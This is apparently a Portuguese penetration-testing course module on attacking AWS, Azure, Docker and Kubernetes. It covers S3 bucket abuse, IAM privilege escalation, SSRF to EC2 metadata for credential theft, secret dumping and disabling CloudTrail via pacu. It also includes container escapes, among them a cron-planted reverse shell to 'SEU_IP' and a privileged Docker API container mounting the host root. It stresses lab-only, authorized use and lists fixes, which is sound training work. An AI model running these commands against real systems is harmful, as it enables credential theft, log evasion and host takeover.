MÓDULO 15 — CLOUD & CONTAINERS (com AWS em profundidade)
Team Hacking78
Especialistas em Red Teaming
Resumo Executivo (TL;DR)
Guia completo de testes de intrusão em Cloud (AWS) e Containers (Docker/Kubernetes). Entenda o modelo de responsabilidade compartilhada e aprenda a enumerar e atacar S3, IAM, EC2, Metadata, Lambda e serviços Serverless. Inclui escapes de containers Docker e avaliação de segurança de clusters Kubernetes.

Objetivo
Entender o modelo de responsabilidade compartilhada da nuvem, enumerar e atacar AWS (S3, IAM, EC2, metadata, Lambda), escapar de containers Docker e avaliar clusters Kubernetes — do reconhecimento à exploração de uma conta inteira.
---
MÓDULO 15 — CLOUD & CONTAINERS: Tópico 1 — Cloud pentest — o que muda (e o que não muda)
O que não muda: as vulnerabilidades de aplicação (SQLi, XSS, SSRF — Módulo 8) continuam iguais. O alvo continua sendo código, credenciais e configuração.
O que muda — o modelo de responsabilidade compartilhada:
AWS é responsável PELA nuvem → hardware, rede, hypervisor, regiões
Você/cliente é responsável NA nuvem → IAM, S3, EC2 config, aplicações, dadosConsequência direta para o pentest: na nuvem, a maioria dos achados vem de configuração errada (misconfiguration), não de software vulnerável:
Misconfigs de nuvem (mais comuns):
- Buckets S3 públicos (leitura/escrita)
- Políticas IAM superpermissivas (tudo com *)
- Credenciais expostas (código, GitHub, Lambda env, EC2 metadata)
- Recursos sem autenticação (bancos, painéis, Redis)
- Roles IAM assumíveis por qualquer um (assume_role)
- Security groups abertos ao mundo (0.0.0.0/0)Autorização em cloud (atenção especial): o escopo de um teste cloud inclui contas, regiões e serviços específicos. Testar conta de outra empresa sem contrato = invasão de computador alheio (CP 154-A), mesmo sendo "só a nuvem". Sempre confirme escopo por escrito — e lembre: a AWS tem política de teste própria (ATRT), mas ela não substitui a autorização do dono da conta.
---
MÓDULO 15 — CLOUD & CONTAINERS: Tópico 2 — Conceitos AWS que você precisa (o mínimo operacional)
| Conceito | O que é | Interesse ofensivo |
|---|---|---|
| Conta AWS | Entidade dona dos recursos | O "domínio" da nuvem — o objetivo |
| Região / AZ | Datacenters geográficos | Recursos vivem em regiões; teste a região do alvo |
| IAM | Identidade e acesso: users, groups, roles, policies | O coração do ataque — credenciais e permissões |
| Access Key | AKIA... + Secret Key | A "senha" de API — o que você rouba |
| ARN | Identificador único de um recurso | Usado em políticas e exploração |
| STS | Serviço de tokens (assume-role, session tokens) | assume_role = pivô entre contas |
| EC2 | Máquinas virtuais | O alvo "tradicional" (SSH, RDP, exploits) |
| S3 | Armazenamento de objetos (buckets) | O alvo nº 1 — misconfig clássica |
| Lambda | Código serverless | Funções com permissões exageradas |
| CloudTrail | Logs de API (quem fez o quê) | Evasão/detecção — apagar logs é crime |
| Metadata service | IP interno 169.254.169.254 | O jackpot via SSRF (credenciais IAM) |
| VPC / SG | Rede virtual / firewall | Segurança de rede (não é a parte mais atacada) |
O fluxo mental do cloud pentest:
1. O que você tem? (credenciais? acesso a app? bucket exposto?)
2. Enumere (pacu, aws cli, ScoutSuite)
3. Ache a misconfig (policy * → S3 público → role assumível → metadata)
4. Escale (IAM privilege escalation, assume_role, rota de ataque)
5. Documente (impacto = dados/recursos acessíveis, custo)AWS CLI é sua ferramenta principal: aws <serviço> <ação> --region <região>
---
MÓDULO 15 — CLOUD & CONTAINERS: Tópico 3 — Lab AWS — como treinar sem gastar (e sem quebrar a lei)
Três caminhos:
a) Conta AWS gratuita (Free Tier) — a mais realista
# Crie uma conta própria (com cartão, mas free tier cobre o básico)
# Use um BUCKET DE TESTE que VOCÊ criou, com nome único global
aws s3 mb s3://seu-nome-teste-seguranca # criar bucket
aws s3api put-bucket-acl --bucket seu-nome-teste-seguranca --acl public-read # ABRIR de propósito (lab!)
# e NUNCA use credenciais de produção em testesb) LocalStack — AWS falsa no seu Kali (100% local, perfeito para o curso)
pip install localstack
localstack start
# Configurar AWS CLI para apontar para o LocalStack:
export AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1
aws --endpoint-url=http://localhost:4566 s3 mb s3://lab-bucketc) "Fake AWS" / sandboxes de treino
Flaws.cloud (por Scott Piper) e flaws2.cloud — laboratórios AWS gratuitos e LEGÍTEOS para treinar exatamente estes ataques. Use-os: são o DVWA da nuvem.
> ⚠️ Regra de ouro do lab: tudo em conta própria ou sandbox oficial. Bucket de terceiros não é alvo de treino.
---
MÓDULO 15 — CLOUD & CONTAINERS: Tópico 4 — Ataque 1 — S3 buckets (a misconfig mais comum do planeta)
O que é S3 = armazenamento de objetos. Cada bucket tem nome globalmente único (nome-empresa, backup-empresa, empresa-dados). A misconfig clássica: ACL/política pública que permite List (ver arquivos) ou Write (gravar).
Encontrar buckets (recon)
# a) Na enumeração da conta (se você tem credenciais):
aws s3 ls
aws s3api list-buckets
aws s3 ls s3://nome-do-bucket
# b) Adivinhar nomes (se não tem credenciais — recon passivo):
# Nomes comuns: <empresa>, <empresa>-backup, <empresa>-logs, <empresa>-dados, <empresa>-dev
# Ferramenta: lazyrecon / bucket-finder / mass3 / bfac
# c) Google dorks (Módulo 4):
site:s3.amazonaws.com "empresa"
site:s3.amazonaws.com "empresa" filetype:sql
# d) Shodan/Censys: produto:Amazon S3 com ACL públicaTestar permissões (o checklist)
# Listar (aberto?):
aws s3 ls s3://nome-do-bucket --no-sign-request
# Baixar arquivo:
aws s3 cp s3://nome-do-bucket/arquivo.txt . --no-sign-request
# Escrever (teste SEMPRE com um arquivo inocuo):
echo "teste-seguranca" > /tmp/teste.txt
aws s3 cp /tmp/teste.txt s3://nome-do-bucket/teste.txt --no-sign-request
# Apagar (NUNCA em produção! só em lab/escopo com permissão explícita)
# (não faça DELETE em bucket de terceiro — é crime)
# Ver a política do bucket:
aws s3api get-bucket-acl --bucket nome-do-bucket --no-sign-request
aws s3api get-bucket-policy --bucket nome-do-bucket --no-sign-requestO que procurar em arquivos baixados: backups, .env, chaves (.pem), credenciais de banco, dados de clientes (LGPD!), código com secrets.
Impacto
READ → vazamento de dados (LGPD!), exposição de código e segredos
WRITE → defacement do site (se o bucket serve site estático), malware no download, ransomware no bucket, phishing hospedado
DELETE→ destruição de dados (equivalente a DoS + perda)Correção - Bloquear ACLs públicas por padrão (S3 Block Public Access — ative no nível da conta!) - Revisar políticas (nunca "Principal": "*" sem necessidade) - Criptografia (SSE), versionamento, MFA delete - CloudTrail + alerta de acesso anônimo
---
MÓDULO 15 — CLOUD & CONTAINERS: Tópico 5 — Ataque 2 — IAM (o cofre que quase ninguém tranca direito)
A base: policies e o que elas permitem
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["s3:GetObject", "s3:ListBucket"],
"Resource": "arn:aws:s3:::bucket-do-cliente/*"
}
]
}Leitura rápida: Effect (Allow/Deny) + Action (serviço:operação) + Resource (o alvo). Deny vence Allow. A frase mais perigosa da AWS: "Action": "*".
Enumerar IAM (com credenciais válidas)
aws iam list-users
aws iam list-groups
aws iam list-roles
aws iam list-policies --scope AWS
aws iam list-attached-user-policies --user-name usuario
aws iam get-user-policy --user-name usuario --policy-name nome
aws iam list-access-keys --user-name usuario
# Ver em quem você pode assumir role:
aws iam list-roles | jq '.Roles[].RoleName'Escalada de privilégio IAM (o "sudo" da nuvem)
A escalada clássica em AWS: uma policy que permite criar/alterar credenciais = conta inteira. Padrões conhecidos (a referência é o trabalho de Rhino Security Labs — "AWS IAM Privilege Escalation Methods"):
| Policy permissiva | Escalada |
|---|---|
iam:CreateAccessKey | Criar access key de um admin |
iam:UpdateLoginProfile | Definir senha de console de outro usuário |
iam:AttachUserPolicy | Anexar AdministratorAccess a si mesmo |
iam:CreatePolicyVersion | Adicionar versão admin à sua policy |
iam:PassRole + ec2:RunInstances | Lançar EC2 com role de admin e roubar credenciais dela |
sts:AssumeRole | Assumir role de outra conta/privilegiada |
Exemplo (PassRole + EC2):
# 1. Veja as roles existentes
aws iam list-roles | jq -r '.Roles[].RoleName'
# 2. Lance uma instância EC2 com a role privilegiada
aws ec2 run-instances --image-id ami-XXXX --instance-type t2.micro \
--iam-instance-profile Name=nome-da-role --key-name minha-chave
# 3. Acesse a instância (SSH), e de dentro dela:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# → credenciais temporárias da ROLE → use-as para agir como a role!Correção: menor privilégio real, revisar policies (ferramentas: Prowler, ScoutSuite), não usar roles de admin em instâncias, monitorar iam:CreateAccessKey etc. (CloudTrail + GuardDuty).
---
MÓDULO 15 — CLOUD & CONTAINERS: Tópico 6 — Ataque 3 — EC2 Metadata (SSRF → credenciais — o atalho mais famoso)
O que é
Toda instância EC2 tem um metadata service em http://169.254.169.254/latest/meta-data/ — incluindo credenciais IAM temporárias da role da instância. Se a aplicação web rodando na instância tem SSRF (Módulo 8.6), você pede as credenciais sem tocar na AWS:
# Via SSRF (no input da aplicação):
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/NOME_DA_ROLE
# resposta: AccessKeyId, SecretAccessKey, Token (temporários)
# Versão IMDSv2 (exige header X-aws-ec2-metadata-token — teste via SSRF se der):
# 1. PUT /latest/api/token (TTL) → token
# 2. GET /latest/meta-data/... com header X-aws-ec2-metadata-token: <token>Usar as credenciais roubadas
# Configure no seu Kali (exportar):
export AWS_ACCESS_KEY_ID=ASIA... AWS_SECRET_ACCESS_KEY=... AWS_SESSION_TOKEN=...
# Agora enumere como a role:
aws sts get-caller-identity
aws s3 ls
aws ec2 describe-instances
# → tudo que a role pode, você podeA cadeia completa (o exemplo de ouro do módulo):
App web vulnerável (SSRF) → metadata → credenciais IAM da instância
→ S3 list/read → lambda list → ec2 describe → (escalada até o alvo final)Correção: usar IMDSv2 (token obrigatório), remover roles desnecessárias de instâncias, mitigar SSRF (Módulo 8), WAF/segmentação, monitorar uso anômalo de credenciais.
---
MÓDULO 15 — CLOUD & CONTAINERS: Tópico 7 — Ataque 4 — Serverless (Lambda) e funções expostas
Enumeração de Lambda
aws lambda list-functions
aws lambda get-function --function-name nome
aws lambda list-tags --resource arn:...
# Baixar o código da função:
aws lambda get-function --function-name nome --query 'Code.Location' --output text | xargs curl -o code.zip
unzip code.zip && grep -r "AKIA|password|secret" . # segredos no código!O que procurar em funções
- Variáveis de ambiente com credenciais (env vars são fáceis de vazar)
- Código com access keys hardcoded
- Roles com permissões exageradas (a role da lambda)
- APIs públicas (API Gateway) sem autenticação
- Eventos (S3 triggers, cron) que exponham lógica internaaws lambda get-function-configuration --function-name nome | jq '.Environment'
# → env vars com credenciais (achado clássico!)Invocar funções sem auth (se a API Gateway estiver aberta)
# API Gateway exposto → teste endpoints sem token:
curl https://xxx.execute-api.us-east-1.amazonaws.com/prod/funcao
# fuzzing de parâmetros (Módulo 8) vale aqui tambémCorreção: secret manager em vez de env vars, menor privilégio nas roles de lambda, auth no API Gateway, revisão de código/segredos.
---
MÓDULO 15 — CLOUD & CONTAINERS: Tópico 8 — Ataque 5 — Outros serviços que vazam (o checklist rápido)
# Bancos e serviços sem auth (recon via Shodan/Censys ou enumeração):
# - RDS/DocumentDB/Mongo/Elasticsearch aberto ao mundo → acesso direto
# (teste: nc -nv IP 27017; mongo "mongodb://IP:27017")
# - Redis sem senha → RCE via EVAL/webshell (casos conhecidos)
# - SQS/SNS (filas) expostas → ler mensagens (dados)
# - CloudFormation/Secrets Manager/SSM Parameter Store → segredos
aws secretsmanager list-secrets
aws ssm get-parameters-by-path --path / --recursive --with-decryption
# - EBS snapshots públicos → montar disco e ler dados
aws ec2 describe-snapshots --owner-ids <conta> --region us-east-1Regra: para cada serviço da AWS, a pergunta é a mesma — "isso está exposto ao público ou a quem não deveria?" O Prowler (abaixo) automatiza essa checagem.
---
MÓDULO 15 — CLOUD & CONTAINERS: Tópico 9 — Ferramentas de automação (o "Nessus" da nuvem)
pacu — o Metasploit da AWS (indispensável)
# Instalar: https://github.com/RhinoSecurityLabs/pacu (pip install pacu)
pacu
# Configurar credenciais (as suas, de lab):
set_keys
# Módulos:
run iam__privesc_scan # detecta escaladas IAM possíveis
run s3__list_buckets
run s3__bucket_bruteforce # procura buckets do alvo
run ec2__download_userdata
run lambda__enum
run iam__enum_users_roles_policies
run cloudtrail__disable_logging # ⚠️ evasão — só em lab/escopo com autorização explícita
# pacu tem o "whoami" da nuvem e organiza tudo em uma sessãoProwler — o auditor (defensivo/ofensivo)
# Instalar: pip install prowler (ou docker)
prowler aws -M csv
# Varre a conta contra benchmarks (CIS AWS Foundations) e acha
# as misconfigs: buckets públicos, roles exageradas, falta de MFA...ScoutSuite — o mapa visual
pip install scoutsuite
scout aws
# gera relatório HTML navegável com todos os serviços e falhasCloudGoat / Flaws.cloud — os labs
# CloudGoat (Rhino): cenários vulneráveis na SUA conta (terraform) — o "Metasploitable" da AWS
git clone https://github.com/RhinoSecurityLabs/cloudgoat && cd cloudgoat
./cloudgoat.py create scenario iam_privesc_by_attachment
# Flaws.cloud / flaws2.cloud: laboratórios públicos de treino (sem criar conta)---
MÓDULO 15 — CLOUD & CONTAINERS: Tópico 10 — Azure — o essencial para não ficar perdido (resumo rápido)
Se o cliente for Microsoft, o mapa mental é paralelo:
Azure AD (Entra ID) ≈ IAM (identidades + MFA + apps)
Storage Accounts ≈ S3 (blobs públicos com access keys)
Managed Identity ≈ EC2 roles (credenciais via metadata 169.254.169.254)
Key Vault ≈ Secrets Manager
ARM templates ≈ CloudFormationAtaques Azure clássicos: blobs públicos (https://<conta>.blob.core.windows.net/... com AllowBlobPublicAccess), Managed Identity via SSRF (metadata .../metadata/identity/oauth2/token), credenciais em app registrations, e o Pass-the-PRT (Primary Refresh Token) no AD — o equivalente ao Pass-the-Ticket. (Se quiser, faço um aprofundamento Azure completo depois, como fizemos com OSINT.)
---
MÓDULO 15 — CLOUD & CONTAINERS: Tópico 11 — Containers — Docker (e o Escape)
O que procurar (misconfigs clássicas)
- Container rodando como ROOT
- Volume host montado (docker run -v /:/host) → escrever no host
- Capabilities extras (--privileged) → escape direto
- Container com acesso ao docker socket (/var/run/docker.sock)
- Imagens com segredos embutidos
- Registry privado expostoEnumeração de dentro do container
# Quem sou eu?
id; uname -a
cat /proc/1/cgroup | head -5 # se tem "docker" no caminho, você está num container
mount | grep -E "overlay|docker" # confirma o ambiente
ls -la /var/run/docker.sock # SOCKET! (abaixo)
capsh --print | grep -i cap # capabilities (procure CAP_SYS_ADMIN)
env | grep -i "key|secret|token" # variáveis de ambiente vazando segredos
ls -la /; ls -la /home # volume do host montado?
find / -name "*key*" -o -name "*.pem" 2>/dev/nullEscapes clássicos
a) Socket do Docker acessível (o mais fácil):
# Se /var/run/docker.sock está montado, você controla o daemon:
docker ps
docker run -v /:/host -it ubuntu chroot /host bash # → shell NO HOSTb) Volume do host montado:
# Se você vê /host ou /mnt com o filesystem do host:
chroot /host bash # ou escreva chave SSH/cron no host
echo 'bash -i >& /dev/tcp/SEU_IP/4444 0>&1' >> /host/var/spool/cron/rootc) --privileged (escape via namespace/capabilities):
# Com CAP_SYS_ADMIN (--privileged), monte o host dentro do container:
mkdir /tmp/host && mount /dev/sda1 /tmp/host # ou o dispositivo do host
chroot /tmp/host bash
# Ferramenta: deepce (script de enumeração/escape de containers) — github.com/stealthcopter/deepced) Docker API exposta na rede (de fora):
# Se a API do Docker (2375/2376) está na internet:
curl http://IP:2375/containers/json
# ou escaneie: nmap -p 2375 IP
# Com acesso à API: crie um container com volume /:
curl -X POST http://IP:2375/containers/create -H "Content-Type: application/json" \
-d '{"Image":"ubuntu","Cmd":["/bin/bash"],"Binds":["/:/host"],"Privileged":true}'
# depois exec → chroot /hostCorreção: não rodar como root, não montar o socket, não usar --privileged, capabilities mínimas, read-only filesystem, seccomp/AppArmor, escanear imagens, nunca expor a API Docker (exigir TLS + auth).
---
MÓDULO 15 — CLOUD & CONTAINERS: Tópico 12 — Kubernetes — o essencial de avaliação
Recon (se você tiver acesso ao cluster ou kubeconfig)
kubectl auth can-i --list # o que seu usuário pode?
kubectl get nodes,namespaces,pods,services --all-namespaces
kubectl get secrets --all-namespaces
kubectl get clusterroles,rolebindings
# Ver segredos:
kubectl get secret <nome> -o yaml | base64 -d
# Executar no pod:
kubectl exec -it <pod> -- /bin/shAtaques clássicos de cluster
- kubeconfig roubado (arquivo ~/.kube/config no host comprometido)
- Dashboard sem auth (porta 30000+ exposta, token admin default)
- Role com permissão de criar pods (→ pod com hostPath → escape)
- Secrets em etcd acessível
- ServiceAccount com permissões exageradas (o token do pod)
- Metadata da cloud acessível DE DENTRO do pod (SSRF → 169.254.169.254)A cadeia "pod → nó → cluster"
# Se você tem exec em um pod:
# 1. Leia o token do service account:
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# 2. Use-o:
kubectl --token=<token> --server=https://<API_SERVER> auth can-i --list
# 3. Se puder criar pods: crie um pod privilegiado com hostPath / → escape para o nóCorreção: RBAC mínimo, network policies, não montar hostPath, segredos em Vault, não expor o API server/dashboard, scan de imagens, auditoria.
---
MÓDULO 15 — CLOUD & CONTAINERS: Tópico 13 — A ordem de ataque cloud (o fluxo profissional)
- ESCOPO: conta/regiões/serviços autorizados + política do provedor
- RECON: o que está exposto? (Shodan, dorks s3, credenciais vazadas em GitHub)
- COM ACESSO À CONTA:
- - Enumere (pacu, aws cli, ScoutSuite) → o que as credenciais alcançam?
- - Ache policies permissivas → escalada IAM (pacu privesc scan)
- - S3: liste, leia, escreva (checklist 15.4)
- - Lambda: código + env vars + roles
- - EC2: metadata, userdata, snapshots, security groups
- SEM CREDENCIAIS, COM APP: SSRF → metadata → credenciais (15.6)
- CONTAINERS: escape do pod/container → host → nó → (se cloud) metadata da instância
- DOCUMENTE: impacto (dados expostos, custo, compliance LGPD), correções
---
MÓDULO 15 — CLOUD & CONTAINERS: Tópico 14 — Defesas (o resumo para o relatório)
| Achado | Correção |
|---|---|
| S3 público | Block Public Access na conta, ACLs mínimas, revisar policies |
| IAM exagerado | Menor privilégio, roles em vez de users, MFA, revisão periódica |
| Metadata aberto | IMDSv2 + token, mitigar SSRF |
| Credenciais em código | Secret Manager, scan de segredos (git-secrets, trufflehog) |
| Lambda com role admin | Menor privilégio, env vars com secrets manager |
| Container root/privileged | Não-root, seccomp, AppArmor, sem socket, read-only |
| Kubernetes aberto | RBAC, network policies, não expor API/dashboard |
| Sem logs | CloudTrail ativo + GuardDuty + alertas (o próprio teste deve aparecer nos logs) |
---
MÓDULO 15 — CLOUD & CONTAINERS: Tópico 15 — Atividade prática do Módulo 15
Tudo em conta própria (Free Tier), LocalStack ou Flaws.cloud/CloudGoat. Nunca em recursos de terceiros.
- Flaws.cloud: complete os 4 primeiros níveis (buckets públicos, SSRF→metadata, chaves). É o melhor treino gratuito que existe
- LocalStack: suba o LocalStack; crie um bucket; teste aws s3 ls e as permissões de ACL (abra e feche de propósito)
- S3 checklist: no seu bucket de lab, teste as 4 operações (list/cp/put/acl) com e sem --no-sign-request; documente o que abriu/fechou
- CloudGoat: suba o cenário iam_privesc_by_attachment; use o pacu run iam__privesc_scan e explore a escalada
- SSRF→metadata: (se tiver um lab web próprio com SSRF, ou no flaws2) capture as credenciais via 169.254.169.254 e use com aws sts get-caller-identity
- Pacu: configure suas credenciais de lab; rode s3__list_buckets, iam__enum_users_roles_policies, lambda__enum
- Prowler: rode contra a conta de lab (ou LocalStack) e liste as 5 falhas mais comuns
- Docker: numa VM de lab, rode um container --privileged com volume /; de dentro, escape para o host (deepce ou manual); documente
- Kubernetes (se tiver): num cluster de lab (kind/minikube), teste kubectl auth can-i --list com um SA restrito vs admin
- Desafio — a avaliação cloud completa: crie cloud_report.md em ~/pentest/evidencias/cloud/ com:
- - escopo (conta/serviços/regiões autorizadas — modelo Módulo 3)
- - recon e enumeração (screenshots do pacu/prowler/CLI)
- - cada ataque: comando, saída, impacto (dados expostos, custo, escalada)
- - a cadeia de escalada mais interessante que você encontrou (ex.: SSRF → metadata → S3 → assume_role)
- - mitigação de cada achado (tabela 15.14) com prioridade
Resposta esperada: uma avaliação de cloud reproduzível, com a cadeia de ataque completa e o impacto traduzido em risco de negócio (LGPD/custo/disponibilidade).
---
pacu, Prowler e aws-cli são indispensáveis no arsenal do Red Teamer moderno em ambientes Cloud-Native.---
✅ Checklist de conclusão do Módulo 15
- Entendo responsabilidade compartilhada e o que muda no pentest cloud
- Tenho lab próprio (Free Tier/LocalStack/Flaws/CloudGoat) e nunca ataco conta alheia
- Enumero com AWS CLI (iam, s3, lambda, ec2, sts)
- Testo buckets S3 (list/read/write, ACLs, políticas) e entendo o impacto
- Identifico escaladas IAM (CreateAccessKey, AttachUserPolicy, PassRole, AssumeRole)
- Exploro SSRF → EC2 metadata → credenciais (IMDSv1/v2)
- Enumero Lambda (código, env vars, roles) e API Gateway exposto
- Uso pacu, Prowler e ScoutSuite
- Entendo o básico de Azure (blobs, Managed Identity, tokens)
- Enumero e escapo containers Docker (socket, volume, privileged, API 2375)
- Conheço Kubernetes (kubectl, secrets, SA token, RBAC)
- Documento impacto e correções (S3, IAM, metadata, containers, K8s)
- Respeito autorização e limites (escopo escrito + política do provedor)
Perguntas Frequentes (FAQ)
O que muda no pentest de Cloud em comparação com infraestruturas tradicionais?
Em Cloud, a maioria das vulnerabilidades se concentra em erros de configuração (misconfigurations) de serviços (S3, IAM, permissões) e não necessariamente em exploits de softwares. O escopo e o modelo de responsabilidade compartilhada são críticos, e ataques frequentemente focam em assumir permissões (escalada IAM) ou vazar credenciais (EC2 metadata).
Por que os Buckets S3 são alvos tão comuns em pentests de AWS?
Buckets S3 frequentemente guardam dados sensíveis, backups e segredos de aplicação, mas são repetidamente configurados com políticas excessivamente permissivas, permitindo leitura ou até gravação pública. Um simples bucket mal configurado pode resultar no vazamento massivo de dados de clientes ou na execução de código malicioso.
O que é o ataque de SSRF ao EC2 Metadata e qual seu impacto?
O EC2 Metadata Service (em 169.254.169.254) fornece informações sobre a instância, incluindo credenciais temporárias (IAM Role) associadas a ela. Um ataque de SSRF em uma aplicação web hospedada no EC2 pode forçar o servidor a acessar esse IP interno, vazando o token da role e permitindo que o atacante assuma os privilégios da máquina na conta AWS.
Quais são as principais formas de escape de containers Docker?
As principais falhas de configuração que levam a escapes incluem: containers executados com '--privileged' (permitindo acesso root ao host através das capabilities adicionais), montagem do socket do Docker ('/var/run/docker.sock') dentro do container, e a montagem direta de volumes do host (como '/') com permissão de escrita.
